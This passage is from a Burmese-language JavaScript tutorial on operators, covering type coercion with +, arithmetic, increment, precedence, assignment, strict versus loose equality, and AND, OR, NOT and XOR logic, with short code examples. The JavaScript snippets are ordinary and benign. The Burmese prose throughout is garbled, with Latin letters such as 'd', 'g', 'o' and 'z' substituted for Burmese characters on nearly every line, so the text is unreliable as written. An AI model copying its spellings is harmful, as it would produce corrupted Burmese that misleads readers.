မယ်။ ကိုယ်တိုင်dရးစမ်းတဲ့အခါ အ့ဲဒီ  Comment  dတွထည့်dရးစရာမလုိပါzူး။  စမ်းeကည့်လ့ုိရတဲ့ရလဒ်နဲ့
ဒီမှာgပထားတဲ့ရလဒ်  တူမတူ  နှိုင်းယှဉ်နိုင်o့ုိအတွက်သာ  ထည့်dပးထားတာပါ။  dနာက်ထပ်ထူးgခားချက်
ကdတာ့ + သdက[တကို သံုးပြပီး ကိန်းZဏနေန်းမဟုတ်တဲ့ တန်oုိးdတွကို ကိန်းZဏနေန်းgoစ်dအာင် dgပာင်းလ့ုိရ
ပါတယ်။

 JavaScript 
+'5' // 5
+'a' // NaN

နမူနာ  String  တန်oုိးgoစ်တဲ့  5  ကို dရှ့ကdန  +  သdက[တတွဲdပးလုိက်တဲ့အခါ ကိန်းZဏနေန်း  5  goစ်သွားပါ
တယ်။ String တန်oုိး a ကို + သdက[တနဲ့ ကိန်းZဏနေန်းdgပာင်းo့ုိ ကြကိုးစားလုိက်တဲ့အခါမှာdတာ့ dgပာင်းလို့
မရတဲ့အတွက် NaN ကိရုတာပဲ goစ်ပါတယ်။
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 JavaScript 
'5' + 5 // 55
+'5' + 5 // 10

ဒီနမူနာရဲ့  ပထမလိုင်းမှာ  String 5  နဲ့  Number 5  ကို  dပါင်းခိုင်းတဲ့အခါ  55  ရပါတယ်။ ဒုတိယလုိင်းမှာ
dတာ့  +  သdက[တနဲ့  String 5 ကို ကိန်းZဏနေန်းgoစ်dအာင် အရင်dgပာင်းလိုက်လ့ုိ  10 ရတာကို dတွ့ရမှာပဲ
goစ်ပါတယ်။

ဒီdပါင်းနှုတ်dgမှာက်စား  သdက[တdတွဟာ  ကိန်းZဏနေန်းလုိအပ်တဲ့dနရာမှာ  dပးလာတဲ့တန်oုိးကို
ကိန်းZဏနေန်းgoစ်dအာင်  အလုိအdလျှာက်dgပာင်းပြပီး  အလုပ်လုပ်dပးeကပါတယ်။  ဒီလုိအလုိအdလျှာက်
dgပာင်းပြပီး အလုပ်လုပ်dပးတာဟာ + သdက[တရဲ့  String Concatenation လုပ်dပးတဲ့သdzာနဲ့ dတွ့ တဲ့
အခါ အခုလုိ ကdမာက်ကမdတွကို ကြကုံdတွ့ရတတ်ပါတယ်။

 JavaScript 
"11" + 1 // 111
"11" – 1 // 10

String 11  ကို  Number 1  နဲ့  dပါင်းတဲ့အခါ  111  ကိုရပါတယ်။  +  သdက[တက  Number 1  ကို  String
dgပာင်းပြပီး  တွဲဆက်dပးလိုက်လ့ုိပါ။  String  11  ထဲကdန  1  နှုတ်လုိက်တဲ့အခါကျdတာ့  10  ရdနပါတယ်။
String 11 ကို  Number 11 goစ်dအာင် အလုိအdလျှာက် dgပာင်းပြပီး အလုပ်လုပ်သွားတဲ့ အတွက်deကာင့်ပဲ
goစ်ပါတယ်။

JavaScript  ရဲ့  ဒီကdမာက်ကမကိစ္စdလးdတွဟာ ပရိုZရမ်မာdတွရဲ့  eကားထဲမှာ ရယ်သွမ်းdသွးစရာdလး
dတွ  goစ်dနeကပါ။  ရယ်သွမ်းdသွးတာ  dသွးလို့ရပါတယ်၊  ဒါdပမယ့်  zာdeကာင့်  ဒီလုိgoစ်တာလဲ  ဆိုတဲ့
အdeကာင်းရင်းကို သိထားoို့dတာ့ လုိပါတယ်။ အdeကာင်းရင်းကို သိထားမယ်ဆိုရင် goစ်ချင်ရာdတွgoစ်dန
တာမျ ို း မဟုတ်zဲ သ့ူအဓိပ္ပါယ်နဲ့သူ အလုပ်လုပ်dနတာဆိုတာကို သတိgပုမိမှာပဲ goစ်ပါတယ်။

goည့်စွက်မှတ်သားရမယ့်  Operator  နှစ်ခုကdတာ့  %  သdက[တနဲ့  **  သdက[တတို့ပဲ  goစ်ပါတယ်။  %
သdက[တကို အကြွကင်းရှာo့ုိ သံုးပါတယ်။ ပံုမှန်အားgoင့် ရိုးရိုးစားလုိက်ရင် ရလဒ်ကို ဒဿမကိန်းနဲ့ gပန်ရမှာ
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ပါ။ % သdက[တကdတာ့ အကြွကင်းကိုကိန်းgပည့်အdနနဲ့ gပန်dပးပါမယ်။ ဥပမာ - 

 JavaScript 
5 / 3 // 1.6666666666666667
5 % 3 // 2

5  ကို  3  နဲ့စားတဲ့အခါ မgပတ်တဲ့အတွက်  ကြွကင်း  2  ကို  ရလဒ်အdနနဲ့  gပန်ရတာပါ။  **  သdက[တကိုdတာ့
Exponent Operator ရှာo့ုိသုံးရပါတယ်။ ဥပမာ -

 JavaScript 
2 ** 2 // 4
2 ** 3 // 8

dနာက်ထပ် goည့်စွက်မှတ်သားရမယ့် Operator နှစ်ခုကdတာ့ ++ နဲ့ -- goစ်ပါတယ်။ ++ ကို တစ်တိုးo့ုိသံုး
ပြပီး -- ကို တစ်နှုတ်o့ုိသံုးပါတယ်။ ဥပမာ –

 JavaScript 
let a = 2
a++ // 2
a // 3

နမူနာအရ a ရဲ့ မူလတန်oိုး 2 goစ်ပါတယ်။ ++ နဲ့ တစတ်ိုးလုိက်လ့ုိ တစ်တိုးသွားdပမယ့် အdgoရလဒ်အdန
နဲ့  2 ပဲ ရတာကို သတိgပုပါ။  a တန်oုိးကို ထပ်ထုတ်eကည့်တဲ့အခါ တစ်တိုးပြပီးတန်oုိး  3  ကို ရပါတယ်။ ++
သdက[တကို dနာက်မှာထားတဲ့အခါ အလုပ်အရင်လုပ်ပြပီးမှ တစ်တိုးတယ် ဆိုတဲ့သdzာ goစ်ပါတယ်။

 JavaScript 
let b = 3
++b // 4
b // 4

ဒီနမူနာမှာdတာ့ b ရဲ့ မူလတန်းoုိး 3 goစ်ပါတယ်။ ++ နဲ့ တစ်တိုးလုိက်တဲ့အတွက် အမှန်တစ်ကယ်တစ်တိုး
သွားသလုိ  ရလဒ်အdနနဲ့လည်း  တစ်တိုးပြပီးတန်oုိးကို  ရပါတယ်။  b  ရဲ့  လကရ်ှိတန်oုိးကို  eကည့်လုိက်ရင်
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လည်း တစ်တိုးပြပီးတန်oုိးကိုပဲ ရပါတယ်။  ++    သdက[တကို  dရှ့ မှာထားတဲ့အခါ အရင်တစ်တိုးပြပီးမှ အလုပ်  
လုပ်တယ် ဆိုတဲ့ သdzာကို သတိgပုရမှာပါ။

--  လည်း ဒီသdzာပါပဲ။ တစ်နှုတ်dပးပါတယ်။  --  ကိုdနာက်မှာထားရင် အလုပ်အရင်လုပ်ပြပီးမှ တစ်နှုတ်
ပြပီး -- ကိုdရှ့မှာထားရင် တစ်နှုတ်ပြပီးdတာ့မှ အလုပ်လုပ်dပးသွားမှာပဲ goစ်ပါတယ်။
ဒီ Operator dတွကို နှစ်ခုထက်ပုိတဲ့ တန်oုိးdတွနဲ့ တွဲသံုးလို့ရပါတယ်။ ဥပမာ -

 JavaScript 
let result = 4 + 5 – 1 * 3 / 2

ဒီလုိတွဲသုံးတဲ့အခါ Operator တူရင် zယ်ကdနညာ ကို အလုပ်လုပ်ပါတယ်။ ဒါdeကာင့် ဒီနှစ်ခုဟာ ရလဒ်
တူမှာ မဟုတ်ပါzူး။

 JavaScript 
"$" + 4 + 5 // $45
4 + 5 + "$" // 9$

zာdeကာင့်လဲဆိုdတာ့ ပထမတစ်ခုမှာ  $ နဲ့  4 ကို အရင်တွဲလို့  $4 String ကိုရပြပီးမှ  $4 နဲ့  5 ကိုထပ်တွဲလုိ့
dနာက်ဆုံးရလဒ် $45 goစ်သွားတာပါ။ dနာက်တစ်ခုမှာdတာ့ 4 နဲ့ 5 ကို အရင်dပါင်းလ့ုိ Number 9 ရပြပီးမှ
9 နဲ့ $ ကိုတွဲတဲ့အတွက် 9$ goစ်သွားတာပါ။ ဒါလည်း JavaScript ရဲ့ ကdမာက်ကမ သdzာသzာဝတစ်ခု
ပါပဲ။ dလ့လာသူက zာdeကာင့် ဒီလုိgoစ်ရတာလဲ နားလည်ထားမယ်ဆိုရင်dတာ့ gပဿနာမရှိdတာ့ပါzူး။

လုိအပ်ရင်  ဝုိက်ကွင်းအoွင့်အပိတ်dတွ  တွဲသံုးနိုင်ပါတယ်။  ဝုိက်ကွင်းအoွင့်အပိတ်ပါရင်  အထဲကအလုပ်ကို
အရင်လုပ်မှာgoစ်လို့ dစာdစာကနမူနာကို အခုလုိ gပင်လိုက်လ့ုိ ရနိုင်ပါတယ်။

 JavaScript 
"$" + (4 + 5) // $9

 
ပံုမှန်အားgoင့်  zယ်ကdနညာကို  အစီအစဉ်အတိုင်း  အလုပ်လုပ်dပမယ့်၊  အခုdတာ့  ဝုိက်ကွင်းပါသွားလ့ုိ
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အထဲကအလုပ်ကို  အရင်လုပ်လုိက်တဲ့အတွက်deကာင့်ရလဒ်က  $9  goစ်သွားတာပါ။  zယ်ကdနညာကို
အလုပ်လုပ်တယ်ဆိုတာ    Operator    အဆင့်တူမှ  လုပ်တာပါ  ။  Operator  dတွမှာ  အစီအစဉ်အဆင့်
Precedent ရှိပါတယ်။ ဒီလုိပါ –

1. ဝုိက်ကွင်း
2. ++, --
3. *, /, %
4. +, -

ဒါရှိရှိသမျှ  Operator  အားလံုးရဲ့အစီအစဉ်dတာ့  မဟုတ်dသးပါzူး။  တွဲအသံုးများမယ့်  Operator  dတရွဲ့
အစီအစဉ်ကိုပဲ အကျဉ်းချုပ်dgပာလုိက်တာပါ။ ဒီအစီအစဉ်အရ ကွင်းထဲက အလုပ်ကို ပထမဆုံးလုပ်ပါမယ်။
ပြပီးတဲ့အခါ ++, -- ရှိအရင် ဆက်လုပ်ပါမယ်။ ပြပီးတဲ့အခါ အdgမှာက်၊ အစားနဲ့ အကြွကင်းရှာတဲ့ အလုပ်dတွကို
လုပ်ပါမယ်။ အdပါင်းနဲ့ အနှုတ်က dနာက်ဆုံးမှ လုပ်မှာgoစ်ပါတယ်။

 JavaScript 
3 - 1 + 2 * 5 / 4   // 4.5

ဒီနမူနာကို အလုပ်လုပ်တဲ့အခါ 3 ကdန 1 ကို နှုတ်၊ 2 နဲ့dပါင်း၊ 5 နဲ့dgမှာက်၊ 4 နဲ့စားဆိုပြပီး zယ်ကdန ညာ
ကို အစီအစဉ်အတိုင်း လုပ်သွားမှာ မဟုတ်ပါzူး။ ထပ်dgပာတာပါ၊  Operator Precedent  တူမှသာ zယ်
ကdနညာကို လုပ်တာပါ။ ဒီdနရာမှာdတာ့ အဆင့်မတူလို့  Precedent gမင့်တဲ့ အdgမှာက်နဲ့အစားကို အရင်
ဆုံးအလုပ်လုပ်ပါတယ် ( 2 * 5 / 4 = 2.5)  ရပါတယ်။ ပြပီးdတာ့မှ ရလာတဲ့ရလဒ်ကိုသံုးပြပီး အdပါင်းနဲ့  အ
နှုတ်ကို ဆက်လုပ်တာပါ။ (3 – 1 + 2.5 = 4.5) goစ်တဲ့အတွက် dနာက်ဆုံးရလဒ် 4.5 ကိရုတာပါ။

(3 - 1 + 2) * 5 / 4  // 5

ဒီတစ်ခါdတာ့  အdgoက  5  goစ်သွားပါပြပီ။  3 – 1 + 2  ကို  အရင်အလုပ်လုပ်dအာင်  ကွင်းခတ်dပးလုိက်တဲ့
အတွက်deကာင့်ပါ။
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Assignment Operators
Equal  သdက[တဟာ  ညီတယ်ဆိုတဲ့  အဓိပ္ပါယ်မဟုတ်zူး၊  တန်oုိးသတ်မှတ်o့ုိသံုးရတဲ့  Assignment
Operator goစ်တဲ့အdeကာင်း dgပာခဲ့ပြပီးgoစ်ပါတယ်။

 JavaScript 
let num = 1 // let num ← 1

ဒါဟာ  num Variable  ဟာ  1  နဲ့  ညီတယ်ဆိုတဲ့  အဓိပ္ပါယ်မဟုတ်ပါzူး။  num Variable  ထဲမှာ  1  ဆိုတဲ့
တန်oုိးကို ထည့်သွင်းလုိက်တာပါ။

 JavaScript 
num = 2

ဒါဆိုရင်  num Variable  ထဲကတန်oုိး dgပာင်းသွားပါပြပီ။  2  goစ်သွားပါပြပီ။  num Variable  ထဲကတန်oုိးကို
dgပာင်းချင်တာ မဟုတ်zဲ dပါင်းပြပီးတိုးလိုက်ချင်တာဆိရုင် ဒီလုိdရးရပါလိမ့်မယ်။

 JavaScript 
num = num + 3

ဒီ Assignment လုပ်ငန်းစဉ်ဟာ အထက်မှာdgပာခဲ့တဲ့ Arithmetic လုပ်ငန်းစဉ်နဲ့ dgပာင်းgပန်ပါ။ dပါင်းနှုတ်
dgမှာက်စား  လုပ်ငန်းdတွမှာ  Precedent  တူရင်  zယ်ကdနညာကို  အလုပ်လုပ်dပမယ့်၊  Assignment
လုပ်ငန်းစဉ်မှာdတာ့ ညာကdန zယ်ကိုအလုပ်လုပ်ပါတယ်။ ဒါdeကာင့် ညာzက်က num + 3 ကို အရင်
အလုပ်လုပ်လုိက်တဲ့အခါ num ထဲက တန်oုိး 2 ကို 3 နဲ့ dပါင်းလုိက်လ့ုိ 5 ရမှာ goစ်ပါတယ်။ ရလာတဲ့ ရလဒ်
ကို num Variable ထဲ ထည့်လုိက်လို့ num Variable ထဲက လက်ရှိတန်oုိး 5 goစ်သွားပါပြပီ။ ဒါdeကာင့် မူလ
တန်oုိးမှာ ထပ်တိုးပြပီး dပါင်းထပ်လုိက်တဲ့ သdzာမျ ို းကို ရတာပါ

ဒီသdzာမျ ို းရo့ုိအတွက် အခုလုိအတိုdကာက်dရးလ့ုိ ရနိုင်ပါdသးတယ်။
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 JavaScript 
let num = 2
num += 3 // num = num + 3

ဒါဆိုရင် မူလdeကညာချက်အရ num ရဲ့တန်oုိး  2  goစ်ပြပီး  += Assignment Operator  နဲ့  3  ကိုထပ်တိုးပြပီး
dပါင်းထည့်လုိက်တာပါ။ ဒါdeကာင့် 5 goစ်သွားပါပြပီ။ ဒီလိုမျ ို း တgခားအတိုdကာက် Assignment Operator
dတွ ရှိeကပါdသးတယ္။ -=, *=, /=, %= စသည်goင့်။ အားလုံးက သdzာသzာဝအားgoင့် += နဲ့အတတူူပါ
ပဲ။ dပါင်းထည့်gခင်းအစား၊ နှုတ်ထည့်gခင်း၊ dgမှာက်ထည့်gခင်း စသည်goင့် ကွာသွားတာသာ goစ်ပါတယ်။

ဒီလုိလည်းdရးလ့ုိရနိုင်ပါdသးတယ်။

 JavaScript 
let a = b = c = 5

ဒါဆိုရင်dတာ့ Assignment ရဲ့ ညာကdန zယ်ကိုအလုပ်လုပ်တဲ့ သdzာအရ၊ ညာzက်အစွန်ဆုံးက 5 ကို
c ထဲမှာ အရင် Assign လုပ်ပါတယ်။ ပြပီးတဲ့အခါ c ရဲ့တန်oုိးကို b ထဲမှာ Assign လုပ်ပါတယ်။ ပြပီးdတာ့မှ b
ရဲ့ တန်oုိးကို a ထဲမှာ Assign လုပ်လုိက်လုိ့ အခုဆိုရင် a, b, c အားလံုးရဲ့ တန်oုိးdတွဟာ 5 dတွ goစ်သွား
eကပါပြပီ။

Comparison Operators
ပရိုZရမ်တစ်ခုတည်dဆာက်တဲ့အခါ အစဉ်အတိုင်း အလုပ်လုပ်သွားတဲ့ Statement dတွစုoဲွ့ပြပီး ကွန်ပျူတာ
ကို  ညွှန်eကားချက်dတွ  dပးdနယံုနဲ့  မလံုdလာက်ပါzူး။  အdgခအdနdပါ်မူတည်ပြပီး  ဆုံးgoတ်နိုင်စွမ်း  ရိှ
dအာင်လည်း oန်တီးdပးရပါဦးမယ်။  zယ်dလာက်ပဲ ရှုပ်dထွးတဲ့ပရိုZရမ်ကြကီး goစ်dနပါdစ၊ ဆုံးgoတ်ချက်
dတွ  ချတဲ့အခါ မှားသလား၊  မှန်သလား ဒီနှစ်မျ ို းကိုပဲ  eကည့်သွားမှာပါ။  ကွန်ပျူတာကိုယ်တိုင်က  0  နဲ့  1
dတွစုoဲွ့ပါဝင်တဲ့  Binary  ကိုပဲနားလည်တာgoစ်သလုိ၊  ပရိုZရမ်မာdတွ  oန်တီးလုိက်တဲ့  ပရိုZရမ်dတွက
လည်း 0 လား၊ 1 လား၊ မှားသလား၊ မှန်သလား ဆိုတာကိုပဲeကည့်ပြပီး ဆုံးgoတ်အလုပ်လုပ်သွားမှာပါ။

ဒီdနရာမှာ  အdရးပါလာတာကdတာ့  Comparison  Operator  dခါ်  တန်oုိးdတွကို  နှိုင်းယှဉ်ပြပီး  true  or
false  gပန်dပးနိုင်တဲ့  လုပ်dဆာင်ချက်dတွပါပဲ။ တန်oုိးdတွက zယ်dလာက်ဆန်းgပားdနပါdစ၊ နှိုင်းယှဉ်မှု
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က zယ်dလာက်ရှုပ်dထွးdနပါdစ၊ သူgပန်dပးမယ့် အdgoကdတာ့ နှစ်ခုထဲက တစ်ခုပါပဲ။ true သ့ုိ မဟုတ်
false ဆိုတဲ့ Boolean ရလဒ်ကိုပဲ gပန်dပးမှာပါ။

Comparison Operator  dတွထဲမှာ အdရးအကြကီးဆုံးနဲ့  မeကာခဏနေအသံုးအများဆုံးgoစ်မှာကdတာ့  Equal
To Operator ပဲgoစ်ပါတယ်။ Equal To Operator နှစ်မျ ို းရှိပါတယ်။ == (Double Equal) နဲ့ === (Triple
Equal) တို့ပဲgoစ်ပါတယ်။ ရိုးရိုး = (Equal) သdက[တကို Assignment အတွက်သံုးတဲ့ဆိုတာ dgပာခဲ့ပြပီးပါပြပီ။
တစ်ကယ်တမ်း  တန်oုိးdတွ  ညီသလားနှိုင်းယှဉ်လုိရင်  Double  Equal  သ့ုိမဟုတ်  Triple  Equal
သdက[တdတွကိုသံုးရတာပါ။ Double Equal ကို ရိုးရိုး Equal လ့ုိdခါ်ပါတယ်။ တန်oုိးတရူင် ရပါပြပီ။ Type
အတိအကျ တူစရာမလုိzူး၊  တူသလုိလိုရှရိင်ရပြပီလ့ုိ  gမင်သာdအာင်  dgပာချင်ပါတယ်။  Triple  Equal  ကို
dတာ့  Strict Equal လ့ုိdခါ်ပါတယ်။ တူသလုိလုိရှိယံုနဲ့ မရdတာ့ပါzူး အတိအကျတူမှ ရdတာ့မှာပါ။ ကုဒ်
နမူနာdလး တစ်ချ ို ့နဲ့ eကည့်eကည့်ပါ။

 JavaScript 
5 == "5" // true
5 === "5" // false

နမူနာမှာ Number 5 နဲ့  String 5 ကို ရိုးရိုး  Equal  နဲ့ ညီသလားလ့ုိ နှိုင်းယှဉ်တဲ့အခါ ညီတယ်ဆိုတဲ့အdgo
true ကို gပန်ရပါတယ်။ Type မတူdပမယ့်၊  Type Coercion သdzာသzာဝနဲ့ အလုိအdလျှာက် dgပာင်း
ပြပီး နှိုင်းယှဉ်လ့ုိရdနတဲ့အတွက် ညီတယ်လ့ုိ dgပာdနတာပါ။ တန်oုိးတူရင်ရပြပီး Type တူစရာမလုိzူးဆိုတာ
ဒါမျ ို းကို dgပာတာပါ။

Strict Equal  ကdတာ့ မရပါzူး  Number 5  နဲ့  String 5  ညီသလားနှိုင်းယှဉ်တဲ့အခါ မညီzူးဆိုတဲ့အdgo
false  ကို gပန်dပးပါတယ်။ ရိုးရိုး    Equal    ကို မသုံးသင့်တဲ့    Operator    လ့ုိ သတ်မှတ်eကပါတယ်  ။ မတိကျတဲ့
အတွက် မdမျှာ်မှန်းနိုင်တဲ့ အမှားdတွကို goစ်dပါ်dစနိုင်တဲ့ အန္တရာယ်ရှိလ့ုိပါ။ လက်dတွ့ကုဒ်ထဲမှာ တန်oုိး
dတွ  ညီမညီ  နှိုင်းယှဉ်o့ုိ  လုိအပ်လာတဲ့အခါ  Strict  Equal  ကိုသာ  အသံုးgပုသင့်တယ်လို့  ကျွမ်းကျင်သူ
ပညာရှင်များက အကြကံgပုထားeကပါတယ်။



PWD 2022 – အခန်း (၁၄) – JavaScript Expressions, Statements & Operators 232

dနာက်ထပ်  Comparison  Operator  အdနနဲ့  အသုံးများမှာကdတာ့  Not  Equal  goစ်ပါတယ်။
Exclamation သdက[တနဲ့ Equal သdက[တကိုတွဲပြပီး != dရးdပးရပါတယ်။ သူမှာလည်း ရိုးရိုးနဲ့ Strict နှစ်
မျ ို းရှိပါတယ်။ ဒီလုိပါ။

 JavaScript 
5 != "5" // false
5 !== "5" // true

ရိုးရိုး Not Equal က Number 5 နဲ့ String 5 မညီzူးလားလ့ုိ နှိုင်းယှဉ်eကည့်တဲ့အခါ သူ့အgမင်မှာ ညီdနတဲ့
အတွက် ကိုယ်dမးတာမှားdနပါတယ်။ ဒါdeကာင့်  false  ကို gပန်dပးပါတယ်။  Strict Not Equal  ကdတာ့
Number 5 နဲ့  String 5 မညီzူးလားလ့ုိ နှိုင်းယှဉ်eကည့်လုိက်တဲအခါ မညီတာမှန်ကန်dနတဲ့အတွက်  true
ကို gပန်dပးပါတယ်။ ဒီdနရာမှာလည်း ရိုးရိုး  Not Equal !=  ကို အသံုးမgပုသင့်zူးလ့ုိ ဆိုရပါမယ်။ လုိအပ်
လာတဲ့အခါ Strict Not Equal !== ကိုအသံုးgပုရမှာပါ။

ကျန် Comparison Operator dတွကdတာ့ Greater Than, Less Than, Greater Than or Equal, Less
Than or Equal တို့ပဲ goစ်ပါတယ်။ ကုဒ်နမူနာdလးတစ်ချ ို ့နဲ့ doာ်gပdပးပါမယ်။

 JavaScript 
5 > 5 // false
5 >= 5 // true

ပထမတစ်ကြကိမ်မှာ 5 ဟာ 5 ထက်ကြကီးသလားလ့ုိ Greater Than နဲ့ နှိုင်းယှဉ်eကည့်တဲ့အခါ မှားdနပါတယ်။
5 ဟာ 5 ထက်မကြကီးပါzူး။ ဒါdeကာင့် false ဆိုတဲ့ရလဒ်ကို ရပါတယ်။ dနာက်တစ်ကြကိမ်မှာdတာ့ >= ကိုသံုး
ပြပီး Greater Than or Equal ဆိုတဲ့အဓိပ္ပါယ်နဲ့နှိုင်းယှဉ်eကည့်လုိက်ပါတယ်။ ဒီအခါမှာdတာ့ 5 ဟာ 5 ထက်
မကြကီးdပမယ့် ညီdနတဲ့အတွက် true ဆိုတဲ့အdgoကို ရပါတယ်။
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 JavaScript 
let num = 3
num++
num < 5 // true
num += 2
num <= 5 // false

ဒီကုဒ်ကိုdတာ့  ကိုယ့်zာသာပဲ  dလ့လာeကည့်လုိက်ပါ။  စာနဲ့gပန်dရးပြပီး  ရှင်းgပdနစရာ  မလုိdတာ့zူးလုိ့
ယူဆပါတယ်။
 

Logical Operators
Boolean  ဆိုတဲ့ အမှား နဲ့  အမှန် နှစ်မျ ို းပဲရှိတဲ့စနစ်ဟာ အလွန်ရိုးရှင်းလှပါတယ်။ တန်oုိးdတွကို နှိုင်းယှဉ်
ပြပီး အမှား/အမှန် အdgoရှာdပးနိုင်တဲ့ Comparison လုပ်dဆာင်ချက်ဟာလည်း သူချည်းဆိုရင် ရိုးရိုးdလးပါ
ပဲ။ သူလုပ်dပးနိုင်တာ နှစ်ခုထဲက တစ်ခုကို dရွးdပးတာdလးပဲdလ။ အခုဆက်dလ့လာeကမယ့်  Logic  လ့ုိ
dခါ် တ့ဲ deကာင်းကျ ို းဆက်စပ်မှု သdzာသzာဝဟာလည်း ဆန်းgပားလှတဲ့သdzာ မဟုတ်ပါzူး။ နှစ်ခုရှိ
တယ်၊ တစ်ခုမှန်ရင် ရပြပီလား၊ နှစ်ခုလံုးမှန်မှ ရမှာလား၊ ဒါdလးပါပဲ။

ဒါdပမယ့် အ့ဲဒီရိုးရိုးdလးပါဆိုတဲ့ Boolean, Comparison နဲ့ Logic တို့ကို dပါင်းစပ်လိုက်တဲ့ အခါမှာdတာ့၊
မူလအသိဉာဏ်နေမရှိတဲ့  ကွန်ပျူတာ၊  သင်မdပးရင်  zာမှမတတတ်ဲ့  ကွန်ပျူတာကို၊  အသိဉာဏ်နေ ရှိသကဲ့သ့ုိ
ရှုပ်dထွးဆန်းကျယ်တဲ့  ဆုံးgoတ်ချက်dတွ  ချမှတ်အလုပ်လုပ်နိုင်dအာင်  လမ်းညွှန်  သင်eကား  ခိုင်းdစ  နိုင်
သွားမှာပါ။ 

သိပ်အံ့eသပြပီး စိတ်လှုပ်ရှားစရာ dကာင်းလှပါတယ်။ ကွန်ပျူတာပရိုZရမ်းမင်းရဲ့ အနှစ်သာရဟာ ဒီdနရာမှာ
dပါ်တာgoစ်ပြပီး၊  အ့ဲဒီအနှစ်သာရကို  gမင်လုိက်ရတဲ့အချနိ်မှာပဲ၊  တစ်ချ ို ့dတွဟာ  သိပ်စိတ်လှုပ်ရှားတက်ကြွက
သွားပြပီး ပရိုZရမ်းမင်းကို ခုံမင်နှစ်သက် မက်dမာသွားeကdတာ့တာပါပဲ။ ဒီလုိ နှစ်သက်မက်dမာ သွားမိeက
သူdတွဟာ အရည်အချင်းgပည့်ဝတဲ့ ပရိုZရမ်မာ မလဲွမdသွ goစ်လာမယ်သူdတွပါပဲ။

JavaScript  မှာ  AND, OR  နဲ့  NOT  ဆိုတဲ့  Logical Operator (၃)  ခုရှိပါတယ်။  NOT  ကdတာ့ ဆန့်ကျင်
zက်ပါ။ Exclamation သdက[တကို NOT အdနနဲ့ သံုးပါတယ်။ ဒီလုိပါ။
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 JavaScript 
!true // false
!false // true

ဒါကိုနည်းနည်းပိုgမင်သာသွားdအာင် အခုလုိလည်း eကည့်နိုင်ပါတယ်။

 JavaScript 
let num = 3
num < 5 // true
!(num < 5) // false

num ရဲ့တန်oုိးဟာ 3 goစ်တဲ့အတွက် num < 5 ဆိုတဲ့နှိုင်းယှဉ်ချက်ကdန true ကိုgပန်ရပါတယ်။ သ့ူရဲ့ဆ
န့်ကျင်zက် NOT အdနနဲ့ ! သdက[တကို အသံုးgပုလိုက်တဲ့အခါ ဆန့်ကျင်zက်ရလဒ်goစ်တဲ့ false ကို gပန်
ရတာပဲ goစ်ပါတယ်။

AND  ကdတာ့  Expression  နှစ်ခရုဲ့  ရလဒ်မှာ နှစ်ခုလံုး  true  goစ်မှ  true  ကို  gပန်dပးပြပီး၊ မဟုတ်ရင်dတာ့
false  ကို gပန်dပးပါတယ်။  နှစ်ခုမှာ နှစ်ခုလံုး မှန်ရမယ်ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ သdက[တအdနနဲ့  Ampersand
နှစ်ခုတွဲကို && အသုံးgပုပါတယ်။ ဒီလုိပါ။

 JavaScript 
let num = 3
(num > 3) && (num < 5) // false && true → false
(num < 5) && (num > 3) // true && false → false
(num < 5) && (num == 3) // true && true → true

နမူနာမှာdပးထားတဲ့ AND Statement (၃) ခုမှာ Expression နှစ်ခုလံုး true goစ်တဲ့ Statement တစ်ခုသာ
dနာက်ဆုံးရလဒ် true goစ်တာကို dတွ့ရမှာပဲ goစ်ပါတယ်။ လက်dတွ့မှာ Expression dတွကို ဝုိက်ကွင်းထဲ
မှာ မထည့်လည်း ရပါတယ်။
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 JavaScript 
let num = 3
num > 3 && num < 5 // false && true → false
num < 5 && num > 3 // true && false → false
num < 5 && num == 3 // true && true → true

OR    ကdတာ့    Expression    နှစ်ခုမှာ  တစ်ခု  မှန်တာနဲ့    true    ရလဒ်ကို  gပန်dပးပါတယ်  ။  သdက[တအdနနဲ့
dတာ့ Bar Character dလးနှစ်ခုတွဲကို သံုးပါတယ်။ ဒီလုိပါ။

 JavaScript 
let num = 3
num > 3 || num < 5 // false || true → true
num < 3 || num > 3 // false || false → false
num < 5 || num == 3 // true || true → true

Express နှစ်ခုမှာ နှစ်ခုလံုး false goစ်တဲ့ Statement လဲွရင် ကျန် Statement dတွမှာ true ရတာကို dတွ့
ရမှာပဲ goစ်ပါတယ်။

လက်dတွ့မှာ Logic Gate dတွက ဒီထက်ပုိပါdသးတယ်။ AND, OR, NAND, NOR, XOR စသည်goင့် ရိှeက
ပါတယ်။ NAND ဆိုတာ NOT AND ကို ဆိုလုိတာမ့ုိလုိ့ သီးgခား Operator မလုိပါzူး။ NOT နဲ့ AND ကို တဲွ
သံုးလိုက်လ့ုိရပါတယ်။  NOR ဆိုတာ NOT OR ကို ဆိုလုိတာမုိ့လ့ုိ  NOT နဲ့  OR  ကို တဲွသုံးလုိက်လ့ုိ ရနိုင်ပါ
တယ်။ ဒီလုိပါ – 

 JavaScript 
let num = 3
!(num > 3 || num < 5) // !(false || true → true) → false
!(num < 3 || num > 3) // !(false || false → false) → true
!(num < 5 || num == 3) // !(true || true → true) → false
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XOR ဆိုတာကdတာ့ Exclusive OR ဆိုတဲ့အဓိပ္ပါယ်ပါ။ OR နဲ့ ဆင်တူပါတယ်၊ Expression နှစ်ခုမှာ တစ်ခု
မှန်ရင်  true  ကိုရပါတယ်။ ဒါdပမယ့်  ခြွခင်းချက်ကdတာ့    Expression    နှစ်ခုမှာ  နှစ်ခုလံုး  မမှန်ရပါzူး  ။  ဒီ
အတွက်dတာ့ JavaScript မှာ အသင့်dပးထားတဲ့  Operator မရှိပါzူး။ Pseudocode အdနနဲ့ နမူနာ gပရ
ရင် ဒီလုိgပလ့ုိ ရနိုင်ပါတယ်။ 

 Pseudocode 
let num = 3
num > 3 XOR num < 5 // false XOR true → true
num < 3 XOR num > 3 // false XOR false → false
num < 5 XOR num == 3 // true XOR true → false

Expression နှစ်ခုလံုး  true goစ်dနတဲ့ dနာက်ဆုံး  Statement ရဲ့ရလဒ် false  goစ်dနတာကို သတိgပုရမှာ
ပါ။ ဒါကdတာ့ ဗဟုသုတအdနနဲ့ ထည့်dgပာတာပါ။ XOR ဆိုတဲ့ Operator က JavaScript မှာ မရှိပါzူး။

ဒီ  Logical  Operator  dတွကို  Expression  နှစ်ခုထက်ပုိပြပီးdတာ့လည်း တွဲသံုးလ့ုိ  ရနိုင်ပါတယ်။ တစ်ခုနဲ့
တစ်ခုလဲ dပါင်းစပ်အသံုးgပုလ့ုိ ရနိုင်ပါdသးတယ်။ ဒီလိုပါ။

 JavaScript 
let x = 3
let y = 5
x < y && y > 5 && x == 3
x < y && !(y > 5 && x == 3)
x < y && y > 5 || x == 3

